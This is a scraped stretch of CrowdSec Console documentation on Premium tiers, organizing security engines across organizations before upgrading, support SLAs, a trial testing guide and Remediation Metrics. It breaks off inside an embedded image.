(ร—16)](https://docs.crowdsec.net/docs/central_api/community_blocklist#community-blocklist-lite) [Learn more โ†’](https://docs.crowdsec.net/docs/central_api/community_blocklist#community-blocklist-lite) #### [Premium Tier Blocklists Access](https://docs.crowdsec.net/u/blocklists/intro.md#crowdsec-blocklist-tiers) [Curated lists](https://docs.crowdsec.net/u/blocklists/intro.md#crowdsec-blocklist-tiers) [Get access to our Premium tier blocklists, providing enhanced protection with curated specialized blocklists tailored for different attack vectors.](https://docs.crowdsec.net/u/blocklists/intro.md#crowdsec-blocklist-tiers) [Learn more โ†’](https://docs.crowdsec.net/u/blocklists/intro.md#crowdsec-blocklist-tiers) #### [Unlimited Blocklist Subscriptions](https://docs.crowdsec.net/u/blocklists/intro.md#crowdsec-blocklist-tiers) [3 โ†’ โˆž](https://docs.crowdsec.net/u/blocklists/intro.md#crowdsec-blocklist-tiers) [Premium subscribers get unlimited blocklist subscriptions (compared to 3 in Community), allowing you to protect your infrastructure with multiple specialized blocklists simultaneously.](https://docs.crowdsec.net/u/blocklists/intro.md#crowdsec-blocklist-tiers) [Community: 3 max โ†’ Premium: unlimited](https://docs.crowdsec.net/u/blocklists/intro.md#crowdsec-blocklist-tiers) [Learn more โ†’](https://docs.crowdsec.net/u/blocklists/intro.md#crowdsec-blocklist-tiers) *** ## Reactivity & Monitoring[โ€‹](#reactivity--monitoring "Direct link to Reactivity & Monitoring") #### [Am I Under Attack](https://docs.crowdsec.net/u/console/security_engines/am_i_under_attack.md) [Real-time](https://docs.crowdsec.net/u/console/security_engines/am_i_under_attack.md) [Receive real-time alerts when your infrastructure experiences attack surges. This feature analyzes current traffic patterns against historical baselines to detect anomalous activity, with support for email notifications and webhook integrations.](https://docs.crowdsec.net/u/console/security_engines/am_i_under_attack.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/security_engines/am_i_under_attack.md) #### [Push Notifications Integrations](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) [Messaging & Webhooks](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) [Receive alerts when security engines go offline or become outdated, ensuring your security infrastructure remains operational. Native integrations with major SecOps tools.](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) [Community: email only โ†’ Premium: webhooks + integrations](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) #### [Increased Alert Quotas and Extended Retention](https://docs.crowdsec.net/u/console/alerts/quotas.md#why-upgrade-to-premium-) [2 months โ†’ 1 year](https://docs.crowdsec.net/u/console/alerts/quotas.md#why-upgrade-to-premium-) [Upgrade from the Community Plan's 500 alerts per month and 2-month retention to custom quotas (up to several million alerts) and up to 1 year of retention. This enables comprehensive monitoring of large-scale infrastructures and long-term security analysis.](https://docs.crowdsec.net/u/console/alerts/quotas.md#why-upgrade-to-premium-) [Community: 500/month, 2 months โ†’ Premium: 10k/SE/month, 365 days](https://docs.crowdsec.net/u/console/alerts/quotas.md#why-upgrade-to-premium-) [Learn more โ†’](https://docs.crowdsec.net/u/console/alerts/quotas.md#why-upgrade-to-premium-) #### [Background Noise Filtering](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [60\~90% noise reduction](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [Automatically filter out internet background radiation and mass scanning activity from your alert board to focus on genuine threats. Customize noise cancellation levels (Low, Medium, High) to match your security requirements.](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [Community: all signals โ†’ Premium: real threats only](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/alerts/background_noise.md) #### IP Reputation Investigation 30 โ†’ 100/week Audit what CrowdSec knows about IP addresses attacking you and present in blocklists, with increased investigation quotas. 100 attacker details per week (compared to 30 in Community), including IP reputation and MITRE ATT\&CK mappings for comprehensive threat intelligence. Community: 30 lookups/week โ†’ Premium: 100 lookups/week #### [CTI API AccessAPI](https://docs.crowdsec.net/u/cti_api/api_integration/integration_intro.md) [120 โ†’ 1500 calls/month](https://docs.crowdsec.net/u/cti_api/api_integration/integration_intro.md) [Leverage CrowdSec IP reputation data into your vendors. Get 1500 CTI API calls per month (compared to 120 in Community) for integration with SIEM, SOAR, and other security tools.](https://docs.crowdsec.net/u/cti_api/api_integration/integration_intro.md) [Community: 120 calls/month โ†’ Premium: 1500 calls/month](https://docs.crowdsec.net/u/cti_api/api_integration/integration_intro.md) [Learn more โ†’](https://docs.crowdsec.net/u/cti_api/api_integration/integration_intro.md) --- # Optimal Premium Upgrade Setup ## ๐Ÿ’ก Why Organize Before Upgrading?[โ€‹](#-why-organize-before-upgrading "Direct link to ๐Ÿ’ก Why Organize Before Upgrading?") Premium upgrades apply to an **entire Organization**. You may not want Premium features for all environments. Typically only **Production** needs extended retention, higher quotas, and advanced protection. By organizing your Security Engines **before** upgrading, you save costs and keep your infrastructure organized. *** ## Common Multi-Environment Setup[โ€‹](#common-multi-environment-setup "Direct link to Common Multi-Environment Setup") Most teams have a mix of environments with different security requirements: ### ๐Ÿ”ฅ Production Environments[โ€‹](#-production-environments "Direct link to ๐Ÿ”ฅ Production Environments") **Needs Premium:** * Extended alert retention (12 months) * Higher alert quotas (millions/month) * Organization-wide blocklists * CTI API access for SIEM integration * Threat Forecast Blocklist * Multi-seat team access ### ๐Ÿงช Dev / Test / Staging[โ€‹](#-dev--test--staging "Direct link to ๐Ÿงช Dev / Test / Staging") **Community is sufficient:** * Basic alert monitoring (500/month) * Short retention (2 months) * Community blocklist (3k IPs) * Individual engine management * Single-user access *** ## Recommended Setup Strategy[โ€‹](#recommended-setup-strategy "Direct link to Recommended Setup Strategy") ### 1๏ธโƒฃ Create Production Organization[โ€‹](#1๏ธโƒฃ-create-production-organization "Direct link to 1๏ธโƒฃ Create Production Organization") Create a new organization specifically for your Production environment. **Community accounts** get **1 extra organization for free** (beyond your Personal Account). [Learn about Organizations โ†’](https://docs.crowdsec.net/u/console/organizations/intro) ### 2๏ธโƒฃ Organize Your Engines[โ€‹](#2๏ธโƒฃ-organize-your-engines "Direct link to 2๏ธโƒฃ Organize Your Engines") * **Personal Account:** Keep Dev/Test/Staging engines here (Community tier) * **Production Org:** Transfer Production engines to the new organization You can transfer engines in two ways: * Console: [Transfer feature](https://docs.crowdsec.net/u/console/security_engines/transfer_engine.md) * CLI: Re-enroll with `cscli`
using `--overwrite` flag ### 3๏ธโƒฃ Upgrade Production Only[โ€‹](#3๏ธโƒฃ-upgrade-production-only "Direct link to 3๏ธโƒฃ Upgrade Production Only") Upgrade **only the Production organization** to Premium. Your Dev/Test/Staging environments remain on Community tier with no additional cost. โœ… Alerts reappear in the new organization within minutes *** ## Step-by-Step: Splitting Your Engines[โ€‹](#step-by-step-splitting-your-engines "Direct link to Step-by-Step: Splitting Your Engines") ### Option 1: Transfer via Console UI[โ€‹](#option-1-transfer-via-console-ui "Direct link to Option 1: Transfer via Console UI") **Best for:** Quick transfers of individual or small batches of engines 1. Navigate to **Security Engines** page in Console 2. Select the engine(s) you want to transfer 3. Use the **Transfer** feature to move them to your Production organization 4. Confirm the transfer [Transfer Feature Documentation โ†’](https://docs.crowdsec.net/u/console/security_engines/transfer_engine.md) ### Option 2: Re-enroll via `cscli`[โ€‹](#option-2-re-enroll-via-cscli "Direct link to option-2-re-enroll-via-cscli") **Best for:** Bulk transfers, automation, or infrastructure-as-code deployments SHCOPY ``` # Get enrollment key from your Production organization # Console โ†’ Organizations โ†’ Production โ†’ Enrollment Keys # Re-enroll the Security Engine with --overwrite flag cscli console enroll --overwrite ``` The `--overwrite` flag forces the engine to move to the new organization, even if already enrolled elsewhere. *** ## Example Organizational Structure[โ€‹](#example-organizational-structure "Direct link to Example Organizational Structure") **Before Organizing (All in Personal Account):** * 10 Production servers (web, API, database) * 5 Staging servers * 3 Dev laptops **After Organizing:** **Personal Account (Community - Free):** * 5 Staging servers * 3 Dev laptops **Production Organization (Premium - Paid):** * 10 Production servers * Full Premium features * Team collaboration with 3 seats * Extended retention and quotas *** ## Benefits of This Approach[โ€‹](#benefits-of-this-approach "Direct link to Benefits of This Approach") #### Cost Optimization Save 60-80% Only pay for Premium where you need it. Dev/Test environments remain free on Community tier. #### Clear Separation Zero confusion Production and non-production environments are cleanly separated, reducing noise and improving security posture visibility. #### Flexible Scaling Grow as needed Add more organizations later (MSPs can create unlimited orgs). Start simple, expand when required. #### No Downtime Seamless transfer Alerts reappear in new organization within minutes. No disruption to security monitoring. *** ## When NOT to Separate[โ€‹](#when-not-to-separate "Direct link to When NOT to Separate") You may want **all** engines in a single Premium organization if: * You need extended retention across **all environments** for compliance * Your team investigates attacks in staging/dev environments regularly * You want centralized allowlists and blocklists everywhere * You're an MSP managing multiple client environments (use [Multi-Organization](https://docs.crowdsec.net/u/console/premium_upgrade/features_overview.md) instead) *** ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") ### Ready to upgrade?[โ€‹](#ready-to-upgrade "Direct link to Ready to upgrade?") 1. **Organize** your Security Engines across Personal Account and Production Organization 2. **Upgrade** the Production organization to Premium 3. **Test** Premium features during your trial period ([Testing Guide โ†’](https://docs.crowdsec.net/u/console/premium_upgrade/testing_premium.md)) [View Pricing โ†’](https://app.crowdsec.net/pricing)[Testing Premium โ†’](https://docs.crowdsec.net/u/console/premium_upgrade/testing_premium.md) --- # Premium Support CrowdSec Premium Feature The CrowdSec Console now offers **Premium Support** for users on qualifying plans. This feature allows premium users to connect directly with our support team via a built-in chat within the CrowdSec Console. There are two service level agreements (SLA) for chat support: * **Premium Support**: Console platform support with standard response times. * **Advance Support**: Comprehensive support including Console platform, Security Engines, Integrations, and all CrowdSec products with faster response times and extended support hours. [See pricing and plan details](https://www.crowdsec.net/pricing). ## Accessing Chat Support[โ€‹](#accessing-chat-support "Direct link to Accessing Chat Support") To access chat support, follow these steps: 1. Log in to the CrowdSec Console. 2. Make sure you selected your premium organization in the organization switcher on the top left corner of the interface. 3. Locate the chat icon at the **bottom-right corner** of the interface. ![Chat Icon](/assets/images/chat_icon-576f2f48f598f502e5e4620b95bff68f.png) 4. Click the chat icon to open the support chat window. ![Chat ](/assets/images/chat-959a165a030e523e21fc3b489d88fbec.png) ## Using Chat Support[โ€‹](#using-chat-support "Direct link to Using Chat Support") Once the chat window is open, you can: * **Send a message**: Type your message and hit Enter to contact the support team. * **Track responses**: You'll receive real-time responses from CrowdSec support based on your SLA level. * **Attach files**: If necessary, you can attach files to help troubleshoot issues faster. * **Keep history**: The chat history is saved for future reference. ## Service Level Agreement (SLA)[โ€‹](#service-level-agreement-sla "Direct link to Service Level Agreement (SLA)") ### Support Plans Overview[โ€‹](#support-plans-overview "Direct link to Support Plans Overview") | Feature | Premium | Advance | | --------------------------- | --------------------------------- | -------------------------------------------------------- | | **Support Hours** | 8am - 5pm CET, Business days only | 8am - 5pm CET + Out-of-hours support for critical issues | | **First Contact SLA** | 3 business days | 1 business day | | **Workaround/Solution SLA** | 5 business days | 3 business days | See the [Support Scope Matrix](#support-scope-matrix) below for detailed coverage information. ### Response Time Commitments[โ€‹](#response-time-commitments "Direct link to Response Time Commitments") **First Contact** refers to the initial technical response from our support team acknowledging your request and beginning investigation. **Workaround or Solution** refers to providing either a temporary workaround to mitigate the issue or a permanent solution to resolve it. #### Premium Support SLA[โ€‹](#premium-support-sla "Direct link to Premium Support SLA") * **First Contact**: Within 3 business days * **Workaround or Solution**: Within 5 business days * **Support Hours**: Monday to Friday, 8:00 AM - 5:00 PM Central European Time (CET) * **Business Days Only**: SLA timelines apply only to business days (weekends and holidays excluded) #### Advance Support SLA[โ€‹](#advance-support-sla "Direct link to Advance Support SLA") * **First Contact**: Within 1 business day * **Workaround or Solution**: Within 3 business days * **Support Hours**: 8:00 AM - 5:00 PM Central European Time (CET) + Out-of-hours support for critical issues only * **Extended Coverage**: SLA timelines may include weekends and holidays for critical issues only ### Severity Levels[โ€‹](#severity-levels "Direct link to Severity Levels") All support requests are classified by severity level to ensure appropriate prioritization: * **High**: Impact to business operations - systems may be down or significantly impaired * **Medium**: Slight disruption but systems remain online - functionality is partially affected * **Low**: General questions, feature requests, or non-urgent inquiries > **Note**: While severity levels help prioritize requests, the SLA response times apply to all requests regardless of severity classification. ### Support Scope Matrix[โ€‹](#support-scope-matrix "Direct link to Support Scope Matrix") The following matrix details what is included in each support plan: | Support Area | Premium | Advance | | ------------------------------------------- | ------- | ------- | | **Console Platform** | โœ… | โœ… | | Console troubleshooting and configuration | โœ… | โœ… | | Console feature usage and best practices | โœ… | โœ… | | Console-related technical issues | โœ… | โœ… | | **Security Engines** | โŒ | โœ… | | Security Engine configuration | โŒ | โœ… | | Security Engine troubleshooting | โŒ | โœ… | | **Integrations** | โŒ | โœ… | | Firewall integration setup and support | โŒ | โœ… | | Bouncer/remediation component setup | โŒ | โœ… | | Blocklist integration support | โŒ | โœ… | | **Log Processors** | โŒ | โœ… | | Log processor configuration | โŒ | โœ… | | Log processor troubleshooting | โŒ | โœ… | | Log processor optimization | โŒ | โœ… | | **Custom Development** | โŒ | โœ… | | Custom scenario development assistance | โŒ | โœ… | | Custom parser development assistance | โŒ | โœ… | | **General Support** | โŒ | โœ… | | General CrowdSec product support | โŒ | โœ… | | Architecture and deployment recommendations | โŒ | โœ… | | Product guidance and best practices | โŒ | โœ… | ### Out-of-Hours Support (Advance Only)[โ€‹](#out-of-hours-support-advance-only "Direct link to Out-of-Hours Support (Advance Only)") Advance plan customers have access to out-of-hours support beyond the standard 8am-5pm CET business hours, **exclusively for critical issues**. This extended coverage ensures critical issues that impact business operations can be addressed even outside normal business hours. Non-critical issues will be handled during standard business hours. ## Community Support[โ€‹](#community-support "Direct link to Community Support") For community support options, including access to our Discourse forum and Discord server, please visit our [FAQ / Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/intro.md) documentation page. --- # Test Premium Value in Your Environment ## ๐Ÿงช Measure Premium Value During Your Trial[โ€‹](#-measure-premium-value-during-your-trial "Direct link to ๐Ÿงช Measure Premium Value During Your Trial") Before exploring all Premium features, use this guide to measure and experience the value in your environment. These practical tests help you assess the concrete benefits of Premium during your trial period. *** ## ๐ŸŽฏ Test 1: Measure Improved Protection[โ€‹](#-test-1-measure-improved-protection "Direct link to ๐ŸŽฏ Test 1: Measure Improved Protection") ### What to Activate[โ€‹](#what-to-activate "Direct link to What to Activate") Premium protection features are automatically enabled when you upgrade: * **Community Blocklist (Premium):** Automatically sent to enrolled engines (50k IPs vs 3k) * **[Threat Forecast Blocklist](https://docs.crowdsec.net/u/console/threat_forecast.md):** Generated automatically from your organization's shared signals * **Premium Tier Blocklists:** Subscribe to unlimited specialized blocklists * **[Remediation Sync](https://docs.crowdsec.net/u/console/remediation_sync.md):** Propagate decisions across all Security Engines * **Am I Under Attack:** Get alerted on traffic surges Metric 1: Remediation Ratio Check your Console dashboard for proactive vs reactive blocking ratio. Expected: 2ร— more proactive blocking (blocklist hits vs real-time decisions). Metric 2: Server Resources Monitor CPU, memory, and bandwidth on your Security Engines before and after. Expected: 75โ€“92% reduction in malicious traffic reaching your servers. Metric 3: Log Volume Check your SIEM or log aggregator for alert volume changes. Expected: cleaner logs, reduced alert fatigue, fewer false positives. #### [Quick Test: Background Noise Filtering](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [Enable Background Noise Filtering (Low/Medium/High) and compare your alert dashboard before/after. You should see 75-92% fewer scanner and crawler alerts within 24 hours.](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [24h](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [to see results](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [60\~90%](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [noise reduction](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/alerts/background_noise.md) *** ## ๐Ÿ‘ฅ Test 2: Enable Team Collaboration[โ€‹](#-test-2-enable-team-collaboration "Direct link to ๐Ÿ‘ฅ Test 2: Enable Team Collaboration") ### What to Activate[โ€‹](#what-to-activate-1 "Direct link to What to Activate") Enable team features to see collaboration improvements: * **Multi-Seat Access:** Invite team members (view/edit/admin roles) * **Extended Alert Retention:** 365 days of historical data (vs 60 days) * **Increased CTI Quotas:** 100 IP lookups/week (vs 30) * **[Push Notification Integrations](https://docs.crowdsec.net/u/console/notification_integrations/overview.md):** Slack, PagerDuty, webhooks #### [Test: Long-Term Trend Analysis](https://docs.crowdsec.net/u/console/alerts/quotas.md#why-upgrade-to-premium-) [365 days](https://docs.crowdsec.net/u/console/alerts/quotas.md#why-upgrade-to-premium-) [Access your Console's Alerts page and analyze attack patterns over the past year. Look for recurring threats, seasonal patterns, or evolving attack vectors. This is impossible with Community's 60-day retention.](https://docs.crowdsec.net/u/console/alerts/quotas.md#why-upgrade-to-premium-) [Learn more โ†’](https://docs.crowdsec.net/u/console/alerts/quotas.md#why-upgrade-to-premium-) #### Test: CTI Investigation Workflow 100 lookups/week Investigate suspicious IPs directly in the Console. View complete profiles: reputation, behavior, fingerprint, MITRE ATT\&CK mappings. Perfect for incident response workflows without leaving the Console. #### [Test: Simultaneous Access](https://docs.crowdsec.net/u/console/organizations/intro) [3+ seats](https://docs.crowdsec.net/u/console/organizations/intro) [Have multiple team members work in the Console at the same time. Test concurrent operations: one person investigates alerts, another manages allowlists, a third reviews metrics. No access conflicts.](https://docs.crowdsec.net/u/console/organizations/intro) [Learn more โ†’](https://docs.crowdsec.net/u/console/organizations/intro) #### [Test: Alerting Integration](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) [Real-time](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) [Connect your Slack or PagerDuty account and test notifications when a Security Engine goes offline or becomes outdated. Verify your team receives alerts in their existing tools.](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) **Expected Results:** * โšก Faster incident investigations (direct CTI access in Console) * ๐Ÿ” Better threat attribution (1-year retention for pattern analysis) * ๐Ÿค Reduced tool sprawl (team works in one place) * ๐Ÿ“ข Proactive alerting (issues detected before users complain) *** ## ๐Ÿข Test 3: Scale for MSPs & Enterprises[โ€‹](#-test-3-scale-for-msps--enterprises "Direct link to ๐Ÿข Test 3: Scale for MSPs & Enterprises") ### What to Activate[โ€‹](#what-to-activate-2 "Direct link to What to Activate") Test multi-tenant and automation capabilities: * **Multi-Organization:** Create separate organizations for each client/environment * **[Service API (SAPI)](https://docs.crowdsec.net/u/console/service_api/getting_started.md):** Automate console management * **Blocklist Creation & Sharing:** Distribute custom threat intel via API * **Auto Enroll:** Zero-touch engine enrollment #### Test: Multi-Tenant Isolation 100% isolated Create 2-3 test organizations for different clients. Verify complete data isolation: each org sees only its engines, alerts, and decisions. Test switching between orgs from a single account. #### [Test: Custom Blocklist via APIAPI](https://docs.crowdsec.net/u/console/service_api/blocklists.md) [API-driven](https://docs.crowdsec.net/u/console/service_api/blocklists.md) [Use SAPI to create a custom blocklist with 10-20 IPs from your SIEM. Subscribe multiple organizations to it. Verify the IPs are blocked across all client environments within minutes.](https://docs.crowdsec.net/u/console/service_api/blocklists.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/service_api/blocklists.md) #### Test: Automated Enrollment Zero-touch Enable Auto Enroll, then deploy a new Security Engine with your org's enrollment key. It should automatically join your organization without manual approval. Perfect for Terraform/Ansible/K8s deployments. #### [Test: Decision Management via APIAPI](https://docs.crowdsec.net/u/console/service_api/getting_started.md) [Programmatic](https://docs.crowdsec.net/u/console/service_api/getting_started.md) [Use SAPI to add/remove decisions from the Console. Test forcing a blocklist pull after subscription. Integrate this into your incident response playbooks or SOAR platform.](https://docs.crowdsec.net/u/console/service_api/getting_started.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/service_api/getting_started.md) **Expected Results:** * ๐Ÿ—๏ธ Clear tenant isolation (one org per client) * ๐Ÿค– Streamlined multi-customer operations (API automation) * ๐Ÿ“Š Custom visibility per client (each org has its own dashboard) * โš™๏ธ Infrastructure-as-code ready (zero-touch enrollment) *** ## ๐ŸŽ“ Recommended Trial Timeline[โ€‹](#-recommended-trial-timeline "Direct link to ๐ŸŽ“ Recommended Trial Timeline") Week 1: Protection Enable all blocklists ยท Activate Background Noise ยท Turn on Remediation Sync ยท Measure baseline metrics. Week 2: Team Invite team members ยท Test CTI lookups ยท Configure push notifications ยท Analyze historical trends. Week 3: Scale Create test organizations ยท Test SAPI endpoints ยท Try Auto Enroll ยท Custom blocklist sharing. Week 4: Review Compare metrics vs Week 1 ยท Document value realized ยท Plan production rollout ยท Prepare upgrade decision. *** ## ๐Ÿ’ก Need Help Testing?[โ€‹](#-need-help-testing "Direct link to ๐Ÿ’ก Need Help Testing?") Our team can help you set up proper testing and measure the value in your specific environment. Questions about your trial? Our team can help you measure the value in your environment. [Contact Support](https://www.crowdsec.net/contact-crowdsec)[View All Features โ†’](https://docs.crowdsec.net/u/console/premium_upgrade/features_overview.md) --- # Remediation Metrics info For your Security Engine to collect and send metrics, make sure you're using CrowdSec v1.6.3 or higher. **Note:** Not all Remediation Components report metrics to the CrowdSec Console. For details, refer to the [official documentation](https://docs.crowdsec.net/u/bouncers/intro). The following Remediation Components are compatible with Remediation Metrics: ๐Ÿ”ป * [Firewall](https://docs.crowdsec.net/u/bouncers/firewall.md) * [Nginx](https://docs.crowdsec.net/u/bouncers/nginx.md) * [OpenResty](https://docs.crowdsec.net/u/bouncers/openresty.md) * [Ingress Nginx](https://docs.crowdsec.net/u/bouncers/ingress-nginx.md) * [Cloudflare Workers](https://docs.crowdsec.net/u/bouncers/cloudflare-workers) * [HAProxy SPOA](https://docs.crowdsec.net/u/bouncers/haproxy_spoa.md) * [WordPress Plugin](https://docs.crowdsec.net/u/bouncers/wordpress.md) ## Introduction[โ€‹](#introduction "Direct link to Introduction") The **Remediation Metrics** page offers a clear and comprehensive view of the malicious activity that CrowdSec has detected and remediated on your infrastructure.
It provides key insights into: * The number and types of attacks * The impact of remediation measures * The estimated resources saved by stopping these threats * The blocklist that contribute to remediate malicious traffic The page is divided into three main sections: * **Malicious Intents** โ€“ A breakdown of attack types associated with the IPs that your remediation components blocked. * **Malicious Traffic Dropped/Discarded** โ€“ Raw and estimated data showing how much malicious traffic has been dropped by your remediation components. * **Projected Resources Saved** โ€“ An estimate of the resources preserved thanks to traffic being dropped (e.g., storage, bandwidth, log volume). *** ## Malicious Intents[โ€‹](#malicious-intents "Direct link to Malicious Intents") At the top of the page, you'll see the **Total Prevented Attacks** for the selected time period. This gives you an immediate overview of how many threats CrowdSec has detected and remediated. ![Total Prevented Attacks](data:image/png;base64,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